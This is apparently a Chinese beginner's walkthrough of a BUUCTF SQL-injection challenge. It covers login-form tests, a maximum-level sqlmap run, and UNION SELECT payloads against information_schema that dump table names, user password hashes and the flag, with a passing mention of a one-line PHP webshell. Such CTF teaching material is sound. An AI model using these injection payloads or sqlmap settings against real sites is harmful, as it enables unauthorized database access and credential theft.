[BUUCTF-Basic]BUU SQL COURSE 1 超详细入门题解(Web CTF)

[BUUCTF-Basic]BUU SQL COURSE 1 超详细入门题解(Web CTF)

深入浅出,知无不答,言无不尽,力求详尽


我是re/pwn手,这两个方向学的更好,对学Web没什么兴趣,Web很菜,文章有什么错误还请大佬指正。 

这篇文章我尽力每一个点都摸透,每一个细节都讲明白。

(由于Markdown编辑器还不会,所以文章看起来会很乱,不会用Markdown导致的...在学啦在学啦QAQ)


目录

一、审题环节

二、判断注入点

三、找到真正的点

四、构造payload

五、得到flag

六、彩蛋


一、审题环节

首先我们审题

一个"SQL",大概率是SQL注入没跑了,这是高频关键词,如果你不知道有哪些敏感的关键词↓

——————>点这里<——————

(看左边Web类型下列表)


二、判断注入点

有一个很简单的方法,就是Sqlmap,全自动化测试有没有注入点,还有就是手动的,简单的测试语句了。

可能这个时候就有同学会问了:“欸,主包,我都没有看到有带"?"的查询语句url链接阿,怎么测试啊?”

细心的同学发现了,每次我们点按钮的时候,URL域名后面都会多一串?bala=laba,这就是查询语句,在查询语句中:bala则是键,laba则是值,&是分隔两个键值对的符号,这是我们修改语句的基础。

再回答一下同学的问题:“别急,我们慢慢来找,这个链接肯定是存在的。”

回到正题,一般注入点最常见的地方在:

搜索框、登录框(各种可以交互的框),提交按钮、重置按钮(各种可以按的按钮)。

为什么?这些玩意存在注入漏洞呢?

从最常见的php网页来做代码示例,首先php网页通过

$conn = mysqli_connect($host, $user, $pass, $db);

通过php内置的mysql连接函数来建立和后端的联系(面向过程的方法)

OR

$conn = new mysqli($servername,$username,$password);

面向对象的连接方法,对于我们来说都是一样的,具体的技术实现就不细说了。

当我们按下提交按钮的时候,Web和数据库进行了通信,Web将预先写好的查询命令传给SQL,SQL处理完命令之后再传给前端,前端显示出我们想看到的。

我们可以通过修改这个查询命令,来让SQL返回出开发者不想让我们看到的东西,比如数据库版本号、当前用户、表名、密码、其它用户id...等等,只要是存在SQL里的数据都有可能被我们越权访问到。

关键点在于(原理):

 $sql = "SELECT id, username, email FROM users"; $stmt = $conn->query($sql);

使用拼接查询语句的方法,这就存在sql注入的可能性。

如果是:
 

$sql = "SELECT * FROM users WHERE username = ? AND password = ?"; $stmt = $conn->prepare($sql); $stmt->bind_param("ss", $username, $password); $stmt->execute();

使用预处理查询语句的方法,那么就不存在SQL注入了。

拼接就如同名字一样,我们的操作被直接丢给SQL了,预处理则是我们的操作被视为一种参数,前端会以传参的方式,将我们的输入填充在数据段里,数据库会知道哪些是数据,哪些是需要执行的代码。

接下来,我们该找注入点了。

根据前面之前说的,我们来看看登录界面的情况

我们先随便输一点东西看看有什么反应。

URL栏没有出现查询语句,看看F12中的网络栏(这个界面可以看到所有网站请求),我们发现网页的请求方式是POST,而POST请求方法是不会在URL栏中显示的,GET请求才会出现在URL栏里,这两者的区别:

POST请求:

1、可以提交数据(你不仅能看还能改,这也是为什么一句话马是$_POST(eval("123"))

2、POST请求URL栏里看不到,只存在包里,正常手段是看不到的

3、不缓存(什么!你不知道什么是缓存??不缓存是指每次请求资源时,都会从服务器获取最新的版本,而缓存是指将资源存储在本地中,以便后续请求时可以直接使用,而不需要重新从服务器获取。)

GET请求:

1、只能查询数据(你只能看看)

2、GET请求会出现在URL栏里

3、有缓存

其它区别就不多说了,那我们切Burp suite截个包重放看一下

但是首先把拦截打开

然后启动代理

火狐扩展搜索FoxyProxy,下载安装后配置端口为8080(bp默认监听8080不用多设置)

接着访问网站,重试登录,拦截包如下:

放重放器试一下看看结果:

然后我试着改了一下包,不管怎么尝试回包都是res:0

// 单引号测试 { "username":"12'", "password":"12" } // 逻辑注入 { "username":"12' OR '1'='1", "password":"12" } // 注释符 { "username":"12' -- ", "password":"12" } 。。。。。

试试也没坏处,显然这个页面是没有SQL注入漏洞的。

(什么?你看不懂构造语句?点这里)、

(什么?你连数据库基础语法都不知道?看下面的代码块)

SELECT 字段名称 FROM 表名 WHERE 条件;

或者你已经厌倦了枯燥的手动测试,想试试Sqlmap(Linux为例)

vim request.txt编辑一个文件,然后里面放进包内容,像这样:

然后在request.txt的根目录下输入

sudo sqlmap -r request.txt -p username,password --level=5 --risk=3 

-p可以指定字段参数,用逗号分隔,--level最高等级测试,--risk最高风险测试。

如果报错就不要按我的格式,把username和password中间的换行符删掉,

出现Too many requests错误的时候降低并发量

  • --threads=2:并发线程数为 2。
  • --delay=1:每次请求之间延迟 1 秒。
  • --timeout=10:请求超时时间为 10 秒。
  • --retries=1:请求失败后重试 1 次。
  • --safe-freq=3:在执行测试请求之前发送 3 次正常请求。

适当用用这些调整一下测试速度。

看来是几乎不可能被注入的点啊

还是换别的地方吧。


三、找到真正的点

回到首页,这底下一列测试新闻呢,让我看看怎么个事

一点就发现猫腻了

(记得复制这串地址...)


四、构造payload

一个GET方法的查询语句,前面已经演示过一部分手动了,手动要想象传参在数据库里执行是什么样子的,比自动化难多了。

这里偷偷懒,用sqlmap试试

三种类型的利用,布尔注入、时间戳、UNION联合查询

把这串来试试手动构造payload吧,打开Hackbar

 页面还有东西显示的时候说明正确返回,一片黑就是执行错误。

从sqlmap的结果来看,得到我们想要的结果最接近的是联合注入的方法。

看看它的数据库是啥样的,flag应该在里面。

先摸索一下它的列数,这个最好探测,什么?看不懂探测语句,看看这->order by说明

接收数字参数的时候,就是第几列的意思啦

# 有结果 ?id=1 order by 1; # 有结果 ?id=1 order by 2; # 无结果 ?id=1 order by 3;

说明只有两列

然后我们换UNION select试试,先把网页查询的id换成数据库里不存在的id,这样数据库就会显示空的东西,我们就可以填充我们查询到的数据了。

再用联合查询

在继续之前先介绍一下数据库中的一些特殊字段和特殊函数:

  • 特殊字段
    • table_schema:表所属的数据库名称。
    • table_name:表的名称。
    • column_name:列的名称。
    • data_type:列的数据类型。
    • constraint_name:约束的名称。
    • index_name:索引的名称。
    • referenced_table_name:外键引用的表名。
    • routine_name:存储过程或函数的名称。
    • trigger_name:触发器的名称。
    • view_definition:视图的定义。
    • information_schema:存储数据库的元数据。
    • mysql:存储 MySQL 服务器的系统信息。
    • performance_schema:存储 MySQL 服务器的性能数据。
    • sys:提供对 performance_schema 数据的简化视图。

而像information_schema这类还有扩展,就是在语句后面加上字段,示例如下

# 表的信息 information_schema.tables

还有以下字段:

  • schemata:数据库信息。
  • tables:表信息。
  • columns:列信息。
  • statistics:索引信息。
  • table_constraints:表约束信息。
  • key_column_usage:外键信息。
  • user_privileges:用户权限信息。
  • views:视图信息。
  • triggers:触发器信息。
  • routines:存储过程和函数信息。

还有一些特殊函数:

  • 字符串函数GROUP_CONCATCONCATSUBSTRINGREPLACE
  • 聚合函数COUNTSUMAVGMINMAX
  • 数学函数ROUNDABSPOW
  • 日期函数NOWDATEDATEDIFF
  • 条件函数IFCASE
  • 窗口函数ROW_NUMBERRANKLEADLAG
  • 其他函数COALESCENULLIFCAST

函数具体的作用我就不讲了,可以自己搜索一下。

回到题目上,我们已经知道UNION select 1,2;

页面会显示1,2的返回,那我们把2换成我们构造的语句,返回的就是数据库内容了

显示数据库名字:news

来个看起来更复杂一点的

?id=0 UNION select 1, ( select group_concat(schema_name) from information_schema.schemata);

查看所有库名

有个库名叫ctftraining,太明显了。

?id=0 union select 1, group_concat(table_name) from information_schema.tables where table_schema='ctftraining';

或者这么写(列出所有非系统的表,包括子表..所以要自己判断)

?id=0 union select 1, ( select group_concat(table_name) from information_schema.tables where table_schema NOT IN ('information_schema', 'mysql', 'performance_schema', 'sys') ); 

看看库里都有啥表呢

或者

发现FLAG_TABLE

看看列名

?id=0 union select 1, ( select group_concat(column_name) from information_schema.columns where table_schema='ctftraining');

看看数据

?id=0 union select 1,( select group_concat(FLAG_COLUMN) from ctftraining.FLAG_TABLE);

啥?没有东西???

那只能看看上面那个user和password两个敏感列名了

先进users表看列名

?id=0 union select 1,( select group_concat(column_name) from information_schema.columns where table_schema='ctftraining' AND table_name='users');

接下来就访问看看用户名username和密码password

?id=0 union select 1,( select group_concat(username,':',password) from ctftraining.users);
"admin:21232f297a57a5a743894a0e4a801fc3, guest:084e0343a0486ff05530df6c705c8bb4, virink:a4346e75cc1dd161a8d57f3b2d5d82d0"

有三个用户哦

接下来去试试登录

没想到是错的(这里真不懂啊...为啥不对,难道这个是数据库的用户账号密码吗?)


五、得到flag

那回去看看admin这个表里有啥

?id=0 union select 1,( select group_concat(column_name) from information_schema.columns where table_name='admin'); 

再访问看看内容

?id=0 union select 1,( select group_concat(username,':',password) from admin);

登录试一下

FLAG: flag{e85bebef-e7c7-484c-8466-afc4e02da303} 


六、彩蛋

满足好奇心看了一下news表里有啥

# 看看news库的列名 ?id=0 union select 1,( select group_concat(column_name) from information_schema.columns where table_schema='ctftraining' AND table_name='news'); # 看看具体数据 ?id=0 union select 1,( select group_concat(id,':',title,':',content,':',time) from ctftraining.news); 

有点长我就复制到代码编辑器里看看

" 1:dog:The domestic dog (Canis lupus familiaris when considered a subspecies of the wolf or Canis familiaris when considered a distinct species)[4] is a member of the genus Canis (canines), which forms part of the wolf-like canids,[5] and is the most widely abundant terrestrial carnivore.:1571838684, 2:cat:The cat or domestic cat (Felis catus) is a small carnivorous mammal.[1][2] It is the only domesticated species in the family Felidae.[4] The cat is either a house cat, kept as a pet, or a feral cat, freely ranging and avoiding human contact.:1571838684, 3:bird:Birds, also known as Aves, are a group of endothermic vertebrates, characterised by feathers, toothless beaked jaws, the laying of hard-shelled eggs, a high metabolic rate, a four-chambered heart, and a strong yet lightweight skeleton.:1571838684, 4:flag:Flag is in the database but not here.:1571838684 "

没想到还做了内容哈哈

Read more

CentOS环境下libwebkit2gtk-4.1-0安装配置手把手教程

手把手教你解决 CentOS 下 libwebkit2gtk-4.1-0 安装难题 你有没有遇到过这样的场景?在 CentOS 上部署一个基于 GTK 的桌面应用,刚运行就报错: error while loading shared libraries: libwebkit2gtk-4.1.so.0: cannot open shared object file: No such file or directory 别急,这不是你的代码问题,而是系统里缺了关键的 Web 渲染引擎库 —— libwebkit2gtk-4.1-0 。 这玩意儿听着冷门,但其实大有来头。它是 GNOME 桌面生态中许多应用程序(比如帮助手册、配置面板、文档浏览器)背后默默工作的“网页内核”。可偏偏在企业级稳定的

Qwen-Image-2512-Pixel-Art-LoRA效果实测:不同分辨率(512/768/1024/1280)对像素密度的影响

Qwen-Image-2512-Pixel-Art-LoRA效果实测:不同分辨率(512/768/1024/1280)对像素密度的影响 1. 引言:像素艺术的魅力与分辨率之谜 像素艺术,这种由一个个小方块构成的独特视觉语言,承载着无数人的童年记忆和复古情怀。从早期的8位机游戏到如今独立游戏的复兴,像素风格始终散发着独特的魅力。然而,当我们用AI来生成像素艺术时,一个看似简单却至关重要的问题浮出水面:分辨率到底如何影响最终的像素密度和艺术效果? 今天,我们就来深入实测Qwen-Image-2512-Pixel-Art-LoRA模型,看看在不同分辨率设置下,生成的像素艺术究竟会发生怎样的变化。这个基于通义万相Qwen-Image-2512大模型的微调版本,专门为像素艺术而生,由社区开发者prithivMLmods训练并开源。它通过LoRA技术,在强大的基座模型上精准注入了像素艺术的灵魂。 很多人可能会想,分辨率不就是图片大小吗?调高调低有什么好研究的?但事实是,在像素艺术这个特殊领域,分辨率的选择直接决定了作品的“像素感”强弱、细节丰富程度,甚至影响整体的艺术风格。选择512×5

钉钉Webhook机器人如何发送群消息?

钉钉Webhook机器人如何发送群消息?

钉钉Webhook机器人如何发送群消息? 在钉钉中通过 Webhook 机器人发送消息的步骤如下: 一、创建自定义机器人 1. 进入群设置 * 打开钉钉群 → 点击右上角「设置」→「群管理」 2. 添加机器人 * 点击 [机器人] ->「添加机器人」→ 选择「自定义」 * 点击「添加」 3. 获取Webhook地址 * 创建完成后复制 Webhook URL 设置成功后如下: 二、发送消息示例 1. 基础文本消息 import json import requests url ="你的Webhook地址" headers ={"Content-Type":"application/json"} data

OpenClaw 中 web_search + web_fetch 最佳实践速查表

OpenClaw 中 web_search + web_fetch 最佳实践速查表

OpenClaw 中 web_search + web_fetch 最佳实践速查表 摘要:本文帮助读者明确 OpenClaw 网络搜索工具和不同搜索技能的的职责边界,理解“先搜索、再抓取、后总结”的最佳实践,并能更稳定地在 OpenClaw 中使用 tavily-search 与 web_fetch 完成网络信息搜索任务。主要内容包括:解决 OpenClaw 中 web_search、tavily-search、web_fetch、原生 provider 与扩展 skill 容易混淆的问题、网络搜索能力分层说明、OpenClaw 原生搜索 provider 与 Tavily/Firecrawl 扩展 skill 的区别、标准工作流、提示词模板、